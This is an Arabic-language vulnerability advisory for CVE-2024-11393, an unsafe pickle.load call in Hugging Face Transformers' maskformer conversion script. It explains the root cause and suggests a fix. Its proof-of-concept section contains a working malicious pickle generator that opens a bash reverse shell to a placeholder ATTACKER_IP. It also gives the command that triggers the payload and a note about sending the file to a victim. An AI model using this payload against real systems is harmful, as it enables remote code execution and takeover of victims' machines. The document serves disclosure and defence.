
التفاصيل التقنية واستغلال الثغرة CVE-2024-11393
نظرة عامة وتأثيرات الثغرة:
تتيح الثغرة للمهاجم تنفيذ تعليمات برمجية عشوائية على الجهاز المضيف عبر توفير ملف فحص maskformer resnet خبيث للسكربت convert_maskformer_swin_to_pytorch.py في مستودع Hugging Face Transformers.
إذا استخدم مستخدم غير منتبه ملف فحص maskformer resnet تابعًا لطرف ثالث، فإن تشغيل سكربت convert_maskformer_swin_to_pytorch.py سيؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) على نظام الضحية.
المنتج المعرَّض للثغرة
تحليل السبب الجذري
وصف تفصيلي للثغرة: تنشأ الثغرة من إلغاء تسلسل غير آمن لبيانات غير موثوقة. يستخدم السكربت pickle.load لتحميل ملف الفحص، وهو عرضة لتنفيذ تعليمات برمجية.
تدفق الكود من الإدخال إلى الحالة القابلة للاستغلال:
maskformer تابع لطرف ثالث.convert_maskformer_swin_to_pytorch.py وتمرير ملف الفحص إليه.convert_maskformer_swin_to_pytorch.py بإلغاء تسلسل ملف الفحص وتنفيذ التعليمات البرمجية الخبيثة.نقطة الحقن: تحدث الثغرة عند النقطة التي يُستدعى فيها pickle.load.
رابط GitHub الدائم: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py#L240
الإصلاحات المقترحة: استبدال pickle.load بـ yaml.safe_load(yaml_file) أو json.load لمنع تنفيذ أي تعليمات برمجية عشوائية.
تعليمات تنفيذ إثبات المفهوم:
malicious.pkl ينشئ قشرة عكسية (reverse shell) على نظام الضحية:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))
malicious_data = pickle.dumps(Exploit())
with open('malicious.pkl', 'wb') as f:
f.write(malicious_data)
print("Malicious pickle file created successfully.")
ملاحظة: غيّر قيمة ATTACKER_IP وATTACKER_PORT قبل إرسال الملف إلى الضحية.
convert_maskformer_swin_to_pytorch.py ومرر ملف malicious.pkl إلى الوسيط --checkpoint_path:> python convert_maskformer_swin_to_pytorch.py --checkpoint_path malicious.pkl --model_name maskformer-swin-tiny-ade --pytorch_dump_folder_path . --push_to_hub
ملاحظة: يمكن ضبط
pytorch_dump_folder_pathعلى أي مجلد، ويمكن أن يكونmodel_nameأي نموذج.
رابط تنزيل البرنامج:
https://github.com/huggingface/transformers/tree/main